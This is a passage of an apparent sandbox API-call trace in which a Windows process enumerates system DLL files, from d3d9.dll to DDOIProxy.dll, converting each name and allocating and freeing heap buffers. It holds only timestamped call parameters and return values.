lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8THK.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.949] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e7de63, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e7de63, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97ef0284, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1be600, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="d3d9.dll", cAlternateFileName="")) returned 1 [0136.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0136.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0xa9c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D9.DLL", lpUsedDefaultChar=0x0) returned 8 [0136.949] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6a71fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8b6a71fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e400, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="d3dim.dll", cAlternateFileName="")) returned 1 [0136.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0136.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0xa9c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM.DLL", lpUsedDefaultChar=0x0) returned 9 [0136.949] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d4aad4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x93d4aad4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc7a00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="d3dim700.dll", cAlternateFileName="")) returned 1 [0136.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM700.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.949] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.949] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.949] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.949] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.950] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc1227, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x86dc1227, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x91000, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="d3dramp.dll", cAlternateFileName="")) returned 1 [0136.950] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.950] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.950] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DRAMP.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.950] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.950] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.950] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.950] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.950] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.950] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f16af92, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8f16af92, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="d3dxof.dll", cAlternateFileName="")) returned 1 [0136.950] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.950] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.950] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0xa9c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DXOF.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.950] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.950] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.950] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.950] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.950] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.950] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48fd18cd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x48fd18cd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="dataclen.dll", cAlternateFileName="")) returned 1 [0136.950] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.950] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.950] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DATACLEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.950] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.950] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.950] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.950] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.950] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.950] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8513b27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="davclnt.dll", cAlternateFileName="")) returned 1 [0136.950] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.951] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.951] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0xa9c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVCLNT.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.951] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.951] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.951] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.951] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.951] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.951] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5549552, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xa5549552, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8730fe40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="davhlpr.dll", cAlternateFileName="")) returned 1 [0136.951] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.951] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.951] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVHLPR.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.951] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.951] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.951] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.951] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.951] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.951] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f8987ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="dbgeng.dll", cAlternateFileName="")) returned 1 [0136.951] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.951] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.951] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0xa9c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGENG.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.951] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.951] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.951] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.951] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.951] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.951] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f84c52c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd0800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0136.951] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.951] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.952] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.952] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.952] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.952] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.952] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.952] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.952] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5dae70, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbb5dae70, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x87976130, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x21000, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="dbnetlib.dll", cAlternateFileName="")) returned 1 [0136.952] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.952] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.952] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNETLIB.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.952] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.952] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.952] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.952] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.952] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.952] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83de1c0, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb83de1c0, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="dbnmpntw.dll", cAlternateFileName="")) returned 1 [0136.952] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.952] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.952] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNMPNTW.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.952] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.952] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.952] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.952] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.952] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.952] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310962f5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x310962f5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="dciman32.dll", cAlternateFileName="")) returned 1 [0136.953] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.953] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.953] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DCIMAN32.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.953] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.953] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.953] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.953] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.953] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.953] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce87462, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6ce87462, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x879e8d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="DDACLSys.dll", cAlternateFileName="")) returned 1 [0136.953] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.953] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.953] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDACLSYS.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.953] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.953] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.953] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.953] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.953] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.953] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb2e5d95, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xfb2e5d95, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x87a5b910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="DDOIProxy.dll", cAlternateFileName="")) returned 1 [0136.953] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.953] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0136.953] 